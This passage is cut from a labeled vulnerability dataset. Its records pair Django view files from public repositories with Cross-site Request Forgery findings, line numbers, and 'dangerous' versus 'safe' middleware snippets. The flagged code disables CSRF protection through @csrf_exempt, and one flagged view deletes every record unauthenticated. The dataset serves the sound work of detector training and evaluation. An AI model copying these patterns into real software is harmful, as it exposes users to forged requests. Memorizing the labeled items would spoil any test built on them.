ValueError(\"GraphQLView was initialized without schema.\")\n\n try:\n data = self.extract_data_from_request(request)\n except HttpBadRequestError as error:\n return HttpResponseBadRequest(error.message)\n\n success, result = self.execute_query(request, data)\n status_code = 200 if success else 400\n return respond_handling_authentication(request=request, result=result, status_code=status_code)\n\n @staticmethod\n def get_context_for_request(request: HttpRequest) -> Optional[ContextValue]:\n user = resolve_user_from_request(request)\n return GraphQLResolverContext(request=request, user=user)\n\n\n# This is an ASGI2 compatibility class so that we can use ariadne subscriptions with channels.\n# Once channels supports ASGI3 this class can go away:\n# https://github.com/mirumee/ariadne/issues/210\nclass AuthenticatedChannel(GraphQL):\n def __call__(self, scope) -> Callable:\n self.scope = scope\n\n async def handle(receive, send):\n await super(AuthenticatedChannel, self).__call__(scope, receive, send)\n\n return handle\n\n @database_sync_to_async\n def resolve_user(self, cookie):\n return resolve_user_from_tokens(\n token=cookie['JWT_TOKEN'].value if 'JWT_TOKEN' in cookie else None,\n refreshToken=cookie['JWT_REFRESH_TOKEN'].value if 'JWT_REFRESH_TOKEN' in cookie else None\n )\n\n async def get_context_for_request(self, request: Any) -> Any:\n headers = dict(self.scope['headers'])\n user = AnonymousUser()\n if b'cookie' in headers:\n cookie = SimpleCookie()\n cookie.load(str(headers[b'cookie']))\n user = await self.resolve_user(cookie)\n if user is None:\n user = AnonymousUser()\n return {\"request\": request, \"user\": user}\n\n\n__all__ = [\n 'GraphQLView',\n 'AuthenticatedChannel'\n]", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 29, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "c3ca3c733a63d167fd0550cdc861e3c0100cce0b3bb81443d6e057821d29f645", "license": {"spdx": ["MIT"], "repo": "Joaxin/django-welogs", "path": "users/views.py", "repo_head_hexsha": "260a72322cdc5591ecd3ceae1dc99a66da333d2b", "stack_hexsha": "66fd60871c4208425ee976f54c6b2e7f2d157804", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 24, "entireCode": "import json\nimport base64\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\n\nfrom . import models\n# Create your views here.\n\n# auth中用户权限有关的类。auth可以设置每个用户的权限。\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.csrf import csrf_exempt\n\n# 使用login_required装饰器,用户只有登录了才能访问其用户资料\n\n\n@login_required\ndef profile(request):\n # AUTH_USER_MODEL 类型的对象,表示当前登录的用户。\n user = request.user\n return render(request, 'account/profile.html', {'user': user})\n\n\n@login_required # 使用login_required装饰器,用户只有登录了才能访问其用户资料\n@csrf_exempt # 取消当前函数防跨站请求伪造功能,即便settings中设置了全局中间件。\ndef profile_update(request):\n # request.is_ajax(): #判断请求头中是否含有X-Requested-With的值\n if request.is_ajax():\n # request.POST.get('')不存在默认为空,request.POST[]不存在报错\n key = request.POST.get('key')\n if key == 'link':\n link = request.POST['link']\n username = request.POST['username']\n models.CustomUser.objects.filter(email=username).update(link=link)\n link = models.CustomUser.objects.filter(email=username).first().link\n linkJson = {'link': link}\n return HttpResponse(json.dumps(linkJson))\n\n elif key == 'avatar':\n username = request.POST['username']\n # 用ModelForm可代替手动编写代码存储上传文件\n user_profile = models.CustomUser.objects.filter(email=username).first()\n user_profile.avatar = request.FILES.get('avatar')\n user_profile.save()\n url = user_profile.avatar.url\n dataJson = {'url': url}\n return HttpResponse(json.dumps(dataJson))", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 24, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "392eab44e9a512f4f5313ce4842e0cd587c7f540b7f8d14ca8c7d91a64c15c00", "license": {"spdx": ["MIT"], "repo": "Jakearns95/fetch_challenge_kearns", "path": "fetch_coding_challenge/transactions/views.py", "repo_head_hexsha": "f6a60e64fa998a86483d88657d6bec079f754d2f", "stack_hexsha": "801111697ab85bdf9557bff624ad95fb0d06ef70", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 15, "entireCode": "from django.shortcuts import render\nfrom django.http import HttpResponse, JsonResponse\nfrom rest_framework.parsers import JSONParser\nfrom django.views.decorators.http import require_POST,require_GET\nfrom django.views.decorators.csrf import csrf_exempt\nimport datetime\nimport pandas as pd\n\nfrom transactions.models import transactions\nfrom transactions.serializers import TransactionSerializer\n\n\n\n# This endpoint will query to view all rewards\n@csrf_exempt\n@require_GET\ndef view_all(request):\n if request.method == 'GET':\n try:\n view_transactions = transactions.objects.all()\n serializer = TransactionSerializer(view_transactions, many=True)\n\n # group up all the payers and sum the total number of points for each\n return JsonResponse(pd.DataFrame(serializer.data).groupby(['payer']).sum()['points'].to_json(), safe=False)\n except:\n return HttpResponse('There are no transactions to be viewed')\n\n#this endpoint will add a transaction to the DB - allows one transaction at a time \n@csrf_exempt\n@require_POST\ndef add(request):\n if request.method == 'POST':\n data = JSONParser().parse(request)\n\n # convert timestamps from string to datetime object\n try:\n data['timestamp'] = datetime.datetime.strptime(data['timestamp'], \"%Y-%m-%dT%H:%M:%SZ\")\n except:\n return JsonResponse(\"Failed to parse timestamp\", safe=False)\n\n # check that the value is positive - if it is a first negative value for a payer, throw an error\n try:\n if int(data['points']) < 0:\n if adjust(data):\n return JsonResponse(data, status = 201)\n else:\n return HttpResponse('Failed to adjust transaction')\n\n except:\n return JsonResponse(\"Failed to parse timestamp\", status = 400)\n \n #verify inputs and then save\n serializer = TransactionSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data, status = 201)\n return JsonResponse(serializer.error, status = 400)\n\n#this endpoint will use points (starting with the oldest points first)\n@csrf_exempt\n@require_POST\ndef use(request):\n if request.method == 'POST':\n #parse request\n data = JSONParser().parse(request)\n\n #get all points\n view_transactions = transactions.objects.all().order_by('timestamp')\n\n #check if right format\n serializer = TransactionSerializer(view_transactions, many=True)\n\n #capture number of points\n try:\n points = int(data['points'])\n except:\n return JsonResponse(\"Failed to parse points, please check your input\", status = 400)\n \n #create df to capture changes\n record_change = []\n\n #get total number of points available\n total_available = 0\n for line in serializer.data:\n total_available +=line['points']\n\n #check if points redeemed > the total number of points available and throw error if so\n if total_available < points:\n return HttpResponse('You do not have enough points to redeem. You have a total of {}'.format(total_available))\n \n #loop through all the transactions to redeem points unless all the points get redeemed\n for line in serializer.data:\n if points == 0:\n break\n else:\n\n # split up to remove all points from a transaction if the total \n # number of points to be redeemed exceed the transaction\n if points >= int(line['points']) & int(line['points'])>0:\n \n # subtract the points\n points -= line['points']\n\n # track the change\n record_change.append({'payer': line['payer'], 'points': -int(line['points'])})\n \n # update the dataframe with the new transaction value\n try:\n transaction = transactions.objects.get(id=line['id'])\n transaction.points = 0\n transaction.save()\n except transactions.DoesNotExist:\n return HttpResponse(status=404)\n\n # if the transaction exceeds the number of points to be redeemed, \n # calcuate the difference and set the transaction to the remainder\n elif int(line['points']) > points:\n \n #record the change\n record_change.append({'payer': line['payer'], 'points': -points})\n \n #update the transaction\n try:\n transaction = transactions.objects.get(id=line['id'])\n transaction.points -= points\n transaction.save()\n except transactions.DoesNotExist:\n return HttpResponse(status=404)\n \n #set points to zero so we can exit\n points = 0\n\n # parse the recorded changeds, group by the payer name, \n # sum totals and return the total number for each payer\n parsed_changeds = pd.DataFrame(record_change).groupby(['payer']).sum().reset_index().set_index('payer').T.to_json(orient=\"records\")\n\n return JsonResponse(parsed_changeds, safe=False)\n\n# if the point value < 0, adjust the oldest transaction for the payer\ndef adjust(data):\n try:\n points = data['points']\n # get transactions by payer\n transaction_adjust = transactions.objects.filter(payer=data['payer']).order_by('timestamp')\n serializer = TransactionSerializer(transaction_adjust, many=True)\n \n #get total amount to adjust\n total_available = 0\n for line in serializer.data:\n total_available +=line['points']\n\n #check if adjustment is more than what is available\n if total_available < -points:\n return False\n else:\n for line in serializer.data:\n if points == 0:\n break\n else:\n\n # split up to remove all points from a transaction if the total \n # number of points to be redeemed exceed the transaction\n if -points >= int(line['points']) & int(line['points']) >0:\n \n # subtract the points\n points += int(line['points'])\n \n # update the dataframe with the new transaction value\n try:\n transaction = transactions.objects.get(id=line['id'])\n transaction.points = 0\n transaction.save()\n except transactions.DoesNotExist:\n return HttpResponse(status=404)\n\n # if the transaction exceeds the number of points to be redeemed, \n # calcuate the difference and set the transaction to the remainder\n elif int(line['points']) > -points:\n \n #update the transaction\n try:\n transaction = transactions.objects.get(id=line['id'])\n transaction.points += points\n transaction.save()\n except transactions.DoesNotExist:\n return HttpResponse(status=404)\n \n #set points to zero so we can exit\n points = 0\n return True\n except:\n return False\n\n# reset/delete all records\n@csrf_exempt\ndef delete(request):\n view_transactions = transactions.objects.all()\n view_transactions.delete()\n\n return HttpResponse('All transactions deleted')", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 15, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "96bc7ae59493f70816a01d88117bf3affae209017badd779608845013ed296e1", "license": {"spdx": ["MIT"], "repo": "lwh2015/TuShare", "path": "TuShare/view/sh_margins.py", "repo_head_hexsha": "f244e05e5cf208e18e6237d3b81f71f0d3c1394a", "stack_hexsha": "a3dd7fa87a5a13e38a56d66d0de7938491e30d3e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 9, "entireCode": "# -*- coding: UTF-8 -*-\nimport json\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\nimport tushare as ts\nfrom .publiceClass import DateEncoder\n\n@csrf_exempt\ndef sh_margins(request):\n try:\n start = request.POST.get('start','')#选填\n end = request.POST.get('end','')#选填\n data = ts.sh_margins(start,end)\n res = {'columns':[\n '信用交易日期',\n '本日融资余额(元)',\n '本日融资买入额(元)',\n '本日融券余量',\n '本日融券余量金额(元)',\n '本日融券卖出量',\n '本日融资融券余额(元)'\n ],'data':json.loads(json.dumps(data.values,cls=DateEncoder))}\n except(BaseException):\n return HttpResponse(BaseException)\n else:\n\n return HttpResponse(json.dumps(res),content_type=\"application/json\")\n", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "6e059b21c04e7e00fb3d99295cff5aa2cbfd00845a3fd06d7409c27e77802a67", "license": {"spdx": ["MIT"], "repo": "ImperiumSec/glacis_core", "path": "glacis_core/api/get_keys.py", "repo_head_hexsha": "b9dd0ad0f92dfd89c8ee1791c03ee1a8c6e93500", "stack_hexsha": "f03149894a1a1db841d1f4b4176a844bc1ba3dd2", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 11, "entireCode": "from ..models import EntityOnServer, AccessToken, Organisation, Server, ServerUser, Key, KeyFetchEvent, AuditNote, AuditEvent, LoginAttempt\nfrom django.template import Context, Template\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponse\n\nfrom uuid import uuid4\nfrom datetime import datetime\n\nimport json\n\n@csrf_exempt\ndef get_keys(request):\n \"\"\"\n Get Keys API - used in conjunction with the v2.1 client\n \"\"\"\n\n # input is something similar to:\n\n # {\n # \"server_id\":\n # \"access_token\": {\n # id:\"\"\n # value:\"\"\n # },\n # username: \"\"\n # origin_ip: \"\"\n # key_fp: \"\"\n # key_type: \"\"\n # }\n\n data = json.loads(request.body)\n\n # 1. Decide if acceptable request\n token = AccessToken.get_validated_token(data[\"access_token\"][\"id\"], data[\"access_token\"][\"value\"])\n\n # Validate access_token\n\n # FIXME: refaactor all this code to prevent data leakage through errors\n\n server = Server.objects.filter(active=True).filter(org=token.org).filter(public_id=data[\"server_id\"]).get()\n\n la = LoginAttempt()\n la.username = data['username']\n la.key_fp = data['key_fp']\n la.remote_ip = data['origin_ip']\n la.server_ip = request.META['REMOTE_ADDR']\n\n la.public_id = str(uuid4())\n la.server = server\n la.audit_type = AuditEvent.TYPE_KEYFETCH\n la.audit_status = AuditEvent.STATUS_OPEN\n la.reported_at = datetime.now()\n\n la.save()\n \n # 2. pull key data\n key = None\n\n server_user = ServerUser.objects.filter(server=server).filter(name=data[\"username\"])\n\n target_key = Key.objects.filter(key_fingerprint=data[\"key_fp\"]).get()\n\n cont = True\n\n if server_user == 0:\n # login attempt\n cont = False\n\n if target_key == 0:\n cont = False\n\n if cont:\n # look for EntityOnServer to match\n try:\n target_eos = EntityOnServer.objects.filter(server_user=server_user).filter(named_key=target_key).get()\n #print(\"EOS %s\" % target_eos )\n key = target_key\n except Exception:\n # FIXME: do a nicer exception\n \n targets = EntityOnServer.objects.filter(server_user=server_user).filter(entity=target_key.owner)\n if len(targets) > 0:\n key = target_key\n else:\n raise Exception(\"Boom\")\n\n else:\n key = Key.objects.filter(owner=target_eos.entity).filter(id=target_key.id).get()\n \n if key.active and key.key_fingerprint == data[\"key_fp\"]:\n pass\n else:\n key = None\n \n # Key should now be a Key object\n #print (\"--> %s\" % key)\n output = \"\"\n if key:\n sub_template = Template(\"ssh-rsa {{ key.key }}\")\n \n c = Context({\"key\":key})\n output = sub_template.render(c)\n\n return HttpResponse(output)", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 11, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "ff024ca5da205033c4a86f73add6ae018f17c30d05adf965eb886289ebac7392", "license": {"spdx": ["MIT"], "repo": "SiddhantNaik17/TheBashTeam_website", "path": "billing/views.py", "repo_head_hexsha": "a4c3e023599fa9f1b0afa6485346b5b7b883e7f5", "stack_hexsha": "dc1e4af97e1b6d9c66d2fb3cd58e20455d4fb72d", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 21, "entireCode": "from django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom billing.utils import initiate_transaction\n\nPAYTM_MERCHANT_ID = 'SNeEfa79194346659805'\nPAYTM_MERCHANT_KEY = ''\n\n\ndef initiate(request):\n order_id = request.session['order_id']\n response = initiate_transaction(order_id)\n context = {\n 'mid': PAYTM_MERCHANT_ID,\n 'order_id': 2 * order_id,\n 'txn_token': response['body']['txnToken'],\n }\n return render(request, 'billing/show_payments.html', context)\n\n\n@csrf_exempt\ndef processing(request):\n return render(request, 'billing/transaction_in_process.html')", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 21, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "848c2552f334bafd5856dc2e0203e4ab3c0357de2e39e45900bf26d93ad587dc", "license": {"spdx": ["CECILL-B"], "repo": "d9pouces/PythonNest", "path": "pythonnest/views.py", "repo_head_hexsha": "53ad0c53f5c1b411a2af630099869e55a3549d22", "stack_hexsha": "5bfeec944742d552c4975938f3ab15392025675a", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 67, "entireCode": "\"\"\"Here are defined Python functions of views.\nViews are binded to URLs in :mod:`.urls`.\n\"\"\"\nimport datetime\nimport hashlib\nimport json\nimport os\nfrom distutils.version import LooseVersion\nfrom json.encoder import JSONEncoder\nfrom urllib.parse import quote\n\nfrom django import forms\nfrom django.conf import settings\nfrom django.contrib.auth import REDIRECT_FIELD_NAME\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.core.exceptions import PermissionDenied\nfrom django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\nfrom django.urls import reverse\nfrom django.db.models import Q\nfrom django.http import HttpResponse, Http404, QueryDict, HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, redirect, resolve_url\nfrom django.template.response import TemplateResponse\nfrom django.utils.html import escape\nfrom django.utils.http import is_safe_url, urlencode\nfrom django.utils.timezone import utc\nfrom django.utils.translation import ugettext_lazy as _, ugettext\nfrom django.views.decorators.cache import never_cache\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.decorators.debug import sensitive_post_parameters\n\nfrom pythonnest.models import Package, Release, ReleaseDownload, PackageRole, Classifier, Dependence, MEDIA_ROOT_LEN, \\\n PackageType, normalize_str\nfrom pythonnest.xmlrpc import XMLRPCSite, site\n\n__author__ = ''\n\nDATE_FORMAT = '%Y-%m-%dT%H:%M:%S'\nXML_RPC_SITE = XMLRPCSite()\n\n\ndef prepare_query(previous_query, prefix, key, value, global_and=True):\n kwargs = {}\n if (isinstance(value, list) or isinstance(value, tuple)) and len(value) > 1:\n value = [normalize_str(x) for x in value]\n kwargs = {prefix + key + '__in': value}\n elif isinstance(value, list) or isinstance(value, tuple):\n value = normalize_str(value[0])\n if not kwargs:\n kwargs = {prefix + key + '__icontains': value}\n if previous_query is None:\n return Q(**kwargs)\n elif global_and:\n return previous_query & Q(**kwargs)\n return previous_query | Q(**kwargs)\n\n\nclass JSONDatetime(JSONEncoder):\n def default(self, o):\n if isinstance(o, datetime.datetime):\n return o.strftime(DATE_FORMAT)\n return super(JSONDatetime, self).default(o)\n\n\n@csrf_exempt\ndef xmlrpc(request):\n return site.dispatch(request)\n\n\n# noinspection PyUnusedLocal\ndef package_json(request, package_name):\n package = get_object_or_404(Package, normalized_name__iexact=normalize_str(package_name))\n releases = list(Release.objects.filter(package=package).order_by('-id')[0:1])\n if not releases:\n raise Http404\n release = releases[0]\n result = {'info': release.data(), 'urls': [x.data() for x in ReleaseDownload.objects.filter(release=release)]}\n return HttpResponse(json.dumps(result, ensure_ascii=False, cls=JSONDatetime, indent=4),\n content_type='application/json')\n\n\n# noinspection PyUnusedLocal\ndef version_json(request, package_name, version):\n release = get_object_or_404(Release, package__normalized_name__iexact=normalize_str(package_name), version=version)\n result = {'info': release.data(), 'urls': [x.data() for x in ReleaseDownload.objects.filter(release=release)]}\n return HttpResponse(json.dumps(result, ensure_ascii=False, cls=JSONDatetime, indent=4),\n content_type='application/json')\n\n\nclass SearchForm(forms.Form):\n \"\"\"Upload form\"\"\"\n search = forms.CharField(max_length=255)\n\n\n@never_cache\ndef simple(request, package_name=None, version=None):\n if package_name is not None:\n package = get_object_or_404(Package, normalized_name__iexact=normalize_str(package_name))\n if version is not None:\n release = get_object_or_404(Release, package=package, version__iexact=version)\n downloads = ReleaseDownload.objects.filter(release=release)\n else:\n downloads = ReleaseDownload.objects.filter(package=package)\n else:\n package = None\n downloads = ReleaseDownload.objects.all()\n template_values = {'package': package, 'downloads': downloads}\n return TemplateResponse(request, 'pythonnest/simple.html', template_values)\n\n\n@csrf_exempt\ndef setup(request):\n if request.method != 'POST':\n raise PermissionDenied(_('Only POST request are allowed'))\n ct_type = request.META.get('CONTENT_TYPE', '')\n infos = [x.strip().partition('=') for x in ct_type.split(';')]\n boundary, encoding = None, 'ascii'\n for info in infos:\n if info[0] == 'boundary':\n boundary = info[2]\n elif info[0] == 'charset':\n encoding = info[2]\n if boundary is None:\n raise PermissionDenied(_('Invalid POST form'))\n # parse the POST query by hand\n mid_boundary = ('\\n--' + boundary + '\\n').encode(encoding)\n end_boundary = ('\\n--' + boundary + '--\\n').encode(encoding)\n fields = request.body.split(mid_boundary)\n values = QueryDict('', mutable=True, encoding=encoding)\n files = {}\n for part in fields:\n lines = part.split(b'\\n\\n', 1)\n if len(lines) != 2:\n continue\n infos = [x.strip().partition('=') for x in lines[0].decode(encoding).split(';')]\n key, filename = None, None\n for info in infos:\n if info[0] == 'name':\n key = info[2][1:-1]\n elif info[0] == 'filename':\n filename = info[2][1:-1]\n if key is None:\n continue\n value = lines[1]\n if value.endswith(end_boundary):\n value = value[:-len(end_boundary)]\n if filename is None:\n values.setlistdefault(key, [])\n values.appendlist(key, value)\n else:\n files[key] = filename, value\n # the POST data are parsed, let's go\n action = values.get(':action')\n if action in ('submit', 'file_upload'):\n package_name = values.get('name', '')\n version_name = values.get('version', '')\n if not package_name or not version_name:\n raise PermissionDenied(_('No package name provided'))\n if request.user.is_anonymous:\n return HttpResponse(ugettext('You must be authenticated'), status=401)\n package, package_created = Package.objects.get_or_create(name=package_name)\n if package_created:\n PackageRole(package=package, user=request.user, role=PackageRole.OWNER).save()\n elif not request.user.is_superuser:\n if PackageRole.objects.filter(package=package, user=request.user).count() == 0:\n return HttpResponse(ugettext('You are not allowed to update this package'), status=401)\n for attr_name in ('name', 'home_page', 'author_email', 'download_url', 'author', 'license', 'summary',\n 'maintainer', 'maintainer_email', 'project_url', ):\n if values.get(attr_name):\n setattr(package, attr_name, values.get(attr_name))\n package.save()\n release, created = Release.objects.get_or_create(package=package, version=version_name)\n for attr_name in ('stable_version', 'description', 'platform', 'keywords', 'docs_url',):\n if values.get(attr_name):\n setattr(package, attr_name, values.get(attr_name))\n release.classifiers.clear()\n for classifier in values.getlist('classifiers', []):\n release.classifiers.add(Classifier.get(classifier))\n for attr_name in ('requires', 'requires_dist', 'provides', 'provides_dist', 'obsoletes', 'obsoletes_dist',\n 'requires_external', 'requires_python'):\n getattr(release, attr_name).clear()\n for dep in values.getlist(attr_name, []):\n getattr(release, attr_name).add(Dependence.get(dep))\n release.save()\n\n if action == 'file_upload':\n if 'content' not in files:\n raise PermissionDenied\n filename, content = files['content']\n # noinspection PyUnboundLocalVariable\n if ReleaseDownload.objects.filter(package=package, release=release, filename=filename).count() > 0:\n raise PermissionDenied\n md5 = hashlib.md5(content).hexdigest()\n if md5 != values.get('md5_digest'):\n raise PermissionDenied\n download = ReleaseDownload(package=package, release=release, filename=filename)\n path = download.abspath\n path_dirname = os.path.dirname(path)\n if not os.path.isdir(path_dirname):\n os.makedirs(path_dirname)\n with open(path, 'wb') as out_fd:\n 